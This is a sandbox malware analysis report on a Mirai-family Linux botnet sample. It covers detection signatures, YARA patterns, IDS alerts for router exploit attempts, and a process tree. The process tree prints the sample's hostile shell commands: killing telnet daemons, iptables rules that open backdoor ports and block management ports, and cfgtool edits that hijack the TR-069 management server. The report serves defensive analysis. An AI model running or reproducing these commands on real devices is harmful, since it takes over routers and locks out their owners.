Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1544667
MD5:	35c8bc22385af5cbf7dcd21b75a103a5
SHA1:	10acc1839728ec2c090335a9cf0f885d6dc1e6fc
SHA256:	0f292c25fcdff2cdcf543078d7e92f176c635201651191f47d89434f4588c0a9
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Executes the "iptables" command to insert, remove and/or manipulate rules

Opens /proc/net/* files useful for finding connected devices and routers

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Terminates several processes with shell command 'killall'

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "iptables" command used for managing IP filtering and manipulation

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Reads system information from the proc file system

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample listens on a socket

Sample tries to set the executable flag

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Writes HTML files containing JavaScript to disk

Writes shell script files to disk

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544667
Start date and time:	2024-10-29 17:11:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/486@75/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: na.elf

Runtime Messages

Command:	/tmp/na.elf
PID:	5509
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	telnetd: no process found utelnetd: no process found scfgmgr: no process found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 /bin/sh: 1: cfgtool: not found /bin/sh: 1: cfgtool: not found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705

Process Tree

system is lnxubuntu20

na.elf (PID: 5509, Parent: 5428, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5511, Parent: 5509)

na.elf New Fork (PID: 5513, Parent: 5511)

na.elf New Fork (PID: 5515, Parent: 5513)

sh (PID: 5515, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"

sh New Fork (PID: 5521, Parent: 5515)

killall (PID: 5521, Parent: 5515, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 telnetd utelnetd scfgmgr

na.elf New Fork (PID: 5522, Parent: 5513)

na.elf New Fork (PID: 5523, Parent: 5513)

na.elf New Fork (PID: 5526, Parent: 5513)

na.elf New Fork (PID: 5541, Parent: 5526)

sh (PID: 5541, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 56901 -j ACCEPT"

sh New Fork (PID: 5545, Parent: 5541)

iptables (PID: 5545, Parent: 5541, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 56901 -j ACCEPT

na.elf New Fork (PID: 5552, Parent: 5526)

sh (PID: 5552, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 56901 -j ACCEPT"

sh New Fork (PID: 5557, Parent: 5552)

iptables (PID: 5557, Parent: 5552, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 56901 -j ACCEPT

na.elf New Fork (PID: 5558, Parent: 5526)

sh (PID: 5558, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 56901 -j ACCEPT"

sh New Fork (PID: 5563, Parent: 5558)

iptables (PID: 5563, Parent: 5558, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --destination-port 56901 -j ACCEPT

na.elf New Fork (PID: 5567, Parent: 5526)

sh (PID: 5567, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 56901 -j ACCEPT"

sh New Fork (PID: 5569, Parent: 5567)

iptables (PID: 5569, Parent: 5567, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --source-port 56901 -j ACCEPT

na.elf New Fork (PID: 5570, Parent: 5526)

sh (PID: 5570, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 56901 -j ACCEPT"

sh New Fork (PID: 5572, Parent: 5570)

iptables (PID: 5572, Parent: 5570, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 56901 -j ACCEPT

na.elf New Fork (PID: 5573, Parent: 5526)

sh (PID: 5573, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 56901 -j ACCEPT"

sh New Fork (PID: 5575, Parent: 5573)

iptables (PID: 5575, Parent: 5573, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 56901 -j ACCEPT

na.elf New Fork (PID: 5576, Parent: 5526)

sh (PID: 5576, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 56901 -j ACCEPT"

sh New Fork (PID: 5581, Parent: 5576)

iptables (PID: 5581, Parent: 5576, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --dport 56901 -j ACCEPT

na.elf New Fork (PID: 5582, Parent: 5526)

sh (PID: 5582, Parent: 5526, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 56901 -j ACCEPT"

sh New Fork (PID: 5587, Parent: 5582)

iptables (PID: 5587, Parent: 5582, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --sport 56901 -j ACCEPT

na.elf New Fork (PID: 5530, Parent: 5513)

na.elf New Fork (PID: 5534, Parent: 5513)

na.elf New Fork (PID: 5539, Parent: 5513)

na.elf New Fork (PID: 5610, Parent: 5513)

sh (PID: 5610, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"

sh New Fork (PID: 5612, Parent: 5610)

iptables (PID: 5612, Parent: 5610, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 58000 -j DROP

na.elf New Fork (PID: 5613, Parent: 5513)

sh (PID: 5613, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"

sh New Fork (PID: 5615, Parent: 5613)

iptables (PID: 5615, Parent: 5613, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 58000 -j DROP

na.elf New Fork (PID: 5616, Parent: 5513)

sh (PID: 5616, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"

sh New Fork (PID: 5620, Parent: 5616)

iptables (PID: 5620, Parent: 5616, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 58000 -j DROP

na.elf New Fork (PID: 5624, Parent: 5513)

sh (PID: 5624, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"

sh New Fork (PID: 5626, Parent: 5624)

iptables (PID: 5626, Parent: 5624, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 58000 -j DROP

na.elf New Fork (PID: 5627, Parent: 5513)

sh (PID: 5627, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""

na.elf New Fork (PID: 5629, Parent: 5513)

sh (PID: 5629, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""

na.elf New Fork (PID: 5631, Parent: 5513)

sh (PID: 5631, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"

sh New Fork (PID: 5633, Parent: 5631)

iptables (PID: 5633, Parent: 5631, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 35000 -j DROP

na.elf New Fork (PID: 5634, Parent: 5513)

sh (PID: 5634, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"

sh New Fork (PID: 5639, Parent: 5634)

iptables (PID: 5639, Parent: 5634, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 50023 -j DROP

na.elf New Fork (PID: 5640, Parent: 5513)

sh (PID: 5640, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"

sh New Fork (PID: 5645, Parent: 5640)

iptables (PID: 5645, Parent: 5640, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 50023 -j DROP

na.elf New Fork (PID: 5646, Parent: 5513)

sh (PID: 5646, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"

sh New Fork (PID: 5651, Parent: 5646)

iptables (PID: 5651, Parent: 5646, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 35000 -j DROP

na.elf New Fork (PID: 5652, Parent: 5513)

sh (PID: 5652, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"

sh New Fork (PID: 5654, Parent: 5652)

iptables (PID: 5654, Parent: 5652, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 7547 -j DROP

na.elf New Fork (PID: 5655, Parent: 5513)

sh (PID: 5655, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"

sh New Fork (PID: 5657, Parent: 5655)

iptables (PID: 5657, Parent: 5655, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 7547 -j DROP

na.elf New Fork (PID: 5658, Parent: 5513)

sh (PID: 5658, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"

sh New Fork (PID: 5660, Parent: 5658)

iptables (PID: 5660, Parent: 5658, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 35000 -j DROP

na.elf New Fork (PID: 5661, Parent: 5513)

sh (PID: 5661, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"

sh New Fork (PID: 5663, Parent: 5661)

iptables (PID: 5663, Parent: 5661, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 50023 -j DROP

na.elf New Fork (PID: 5664, Parent: 5513)

sh (PID: 5664, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"

sh New Fork (PID: 5666, Parent: 5664)

iptables (PID: 5666, Parent: 5664, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 50023 -j DROP

na.elf New Fork (PID: 5667, Parent: 5513)

sh (PID: 5667, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"

sh New Fork (PID: 5671, Parent: 5667)

iptables (PID: 5671, Parent: 5667, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 35000 -j DROP

na.elf New Fork (PID: 5674, Parent: 5513)

sh (PID: 5674, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"

sh New Fork (PID: 5679, Parent: 5674)

iptables (PID: 5679, Parent: 5674, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 7547 -j DROP

na.elf New Fork (PID: 5680, Parent: 5513)

sh (PID: 5680, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"

sh New Fork (PID: 5686, Parent: 5680)

iptables (PID: 5686, Parent: 5680, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 7547 -j DROP

na.elf New Fork (PID: 5695, Parent: 5513)

sh (PID: 5695, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --destination-port 8083 -j ACCEPT"

sh New Fork (PID: 5697, Parent: 5695)

iptables (PID: 5697, Parent: 5695, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --destination-port 8083 -j ACCEPT

na.elf New Fork (PID: 5699, Parent: 5513)

sh (PID: 5699, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --source-port 8083 -j ACCEPT"

sh New Fork (PID: 5704, Parent: 5699)

iptables (PID: 5704, Parent: 5699, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --source-port 8083 -j ACCEPT

na.elf New Fork (PID: 5705, Parent: 5513)

sh (PID: 5705, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 8083 -j ACCEPT"

sh New Fork (PID: 5710, Parent: 5705)

iptables (PID: 5710, Parent: 5705, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --destination-port 8083 -j ACCEPT

na.elf New Fork (PID: 5711, Parent: 5513)

sh (PID: 5711, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 8083 -j ACCEPT"

sh New Fork (PID: 5716, Parent: 5711)

iptables (PID: 5716, Parent: 5711, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --source-port 8083 -j ACCEPT

na.elf New Fork (PID: 5717, Parent: 5513)

sh (PID: 5717, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --dport 8083 -j ACCEPT"

sh New Fork (PID: 5722, Parent: 5717)

iptables (PID: 5722, Parent: 5717, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --dport 8083 -j ACCEPT

na.elf New Fork (PID: 5723, Parent: 5513)

sh (PID: 5723, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --sport 8083 -j ACCEPT"

sh New Fork (PID: 5725, Parent: 5723)

iptables (PID: 5725, Parent: 5723, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --sport 8083 -j ACCEPT

na.elf New Fork (PID: 5726, Parent: 5513)

sh (PID: 5726, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 8083 -j ACCEPT"

sh New Fork (PID: 5732, Parent: 5726)

iptables (PID: 5732, Parent: 5726, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --dport 8083 -j ACCEPT

na.elf New Fork (PID: 5733, Parent: 5513)

sh (PID: 5733, Parent: 5513, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 8083 -j ACCEPT"

sh New Fork (PID: 5738, Parent: 5733)

iptables (PID: 5738, Parent: 5733, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --sport 8083 -j ACCEPT

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
na.elf	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
na.elf	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
na.elf	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 2 entries

Dropped Files

Source	Rule	Description	Author	Strings
/usr/networks	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
/usr/networks	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
/usr/networks	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
/usr/networks	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5509.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5509.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
5511.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5511.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Process Memory Space: na.elf PID: 5509	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5509	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5509	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5511	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5511	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5511	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 17 entries

Suricata Signatures

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:12:54.004584+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	41248	89.16.251.179	8080	TCP
2024-10-29T17:13:02.492324+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	53312	25.36.226.176	8080	TCP
2024-10-29T17:13:02.508353+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	43644	125.245.131.234	8080	TCP
2024-10-29T17:13:02.508360+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	45858	78.193.165.201	80	TCP
2024-10-29T17:13:04.840256+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	49510	31.13.248.141	80	TCP
2024-10-29T17:13:08.832146+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	39810	160.248.237.241	80	TCP
2024-10-29T17:13:11.920053+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	34992	209.48.0.41	8080	TCP
2024-10-29T17:13:17.263973+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	34350	94.235.153.120	80	TCP
2024-10-29T17:13:24.839750+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	52840	80.27.246.10	80	TCP
2024-10-29T17:13:24.855749+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	43970	28.2.61.185	80	TCP
2024-10-29T17:13:26.035752+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	51678	128.11.89.74	8080	TCP
2024-10-29T17:13:27.303642+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.15	51326	58.78.32.1	80	TCP

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:12:40.381044+0100	2027339	1	A Network Trojan was detected	192.168.2.15	34652	19.67.110.15	52869	TCP
2024-10-29T17:12:40.453068+0100	2027339	1	A Network Trojan was detected	192.168.2.15	44828	147.98.201.3	52869	TCP
2024-10-29T17:13:01.804349+0100	2027339	1	A Network Trojan was detected	192.168.2.15	33104	129.147.15.173	52869	TCP
2024-10-29T17:13:02.488332+0100	2027339	1	A Network Trojan was detected	192.168.2.15	44348	49.15.253.227	52869	TCP
2024-10-29T17:13:03.388321+0100	2027339	1	A Network Trojan was detected	192.168.2.15	57362	132.133.89.27	52869	TCP
2024-10-29T17:13:08.864159+0100	2027339	1	A Network Trojan was detected	192.168.2.15	46246	207.177.41.1	52869	TCP
2024-10-29T17:13:15.923957+0100	2027339	1	A Network Trojan was detected	192.168.2.15	34214	74.252.229.190	52869	TCP
2024-10-29T17:13:16.915971+0100	2027339	1	A Network Trojan was detected	192.168.2.15	54788	69.146.171.161	52869	TCP
2024-10-29T17:13:17.919999+0100	2027339	1	A Network Trojan was detected	192.168.2.15	52584	12.214.66.228	52869	TCP
2024-10-29T17:13:19.527853+0100	2027339	1	A Network Trojan was detected	192.168.2.15	53490	112.226.120.205	52869	TCP
2024-10-29T17:13:24.827787+0100	2027339	1	A Network Trojan was detected	192.168.2.15	50344	52.230.97.44	52869	TCP
2024-10-29T17:13:27.247722+0100	2027339	1	A Network Trojan was detected	192.168.2.15	36954	16.64.53.202	52869	TCP
2024-10-29T17:13:27.295652+0100	2027339	1	A Network Trojan was detected	192.168.2.15	34058	99.75.52.220	52869	TCP
2024-10-29T17:13:30.979530+0100	2027339	1	A Network Trojan was detected	192.168.2.15	45376	137.77.251.244	52869	TCP

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:12:40.325029+0100	2030092	1	Web Application Attack	192.168.2.15	55848	211.118.101.207	80	TCP
2024-10-29T17:13:05.796222+0100	2030092	1	Web Application Attack	192.168.2.15	57782	78.14.245.139	80	TCP
2024-10-29T17:13:11.916105+0100	2030092	1	Web Application Attack	192.168.2.15	59942	168.210.89.176	80	TCP
2024-10-29T17:13:22.823807+0100	2030092	1	Web Application Attack	192.168.2.15	55202	118.161.183.187	80	TCP
2024-10-29T17:13:25.847726+0100	2030092	1	Web Application Attack	192.168.2.15	55586	142.146.216.107	80	TCP
2024-10-29T17:13:25.855682+0100	2030092	1	Web Application Attack	192.168.2.15	56636	2.241.18.17	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)
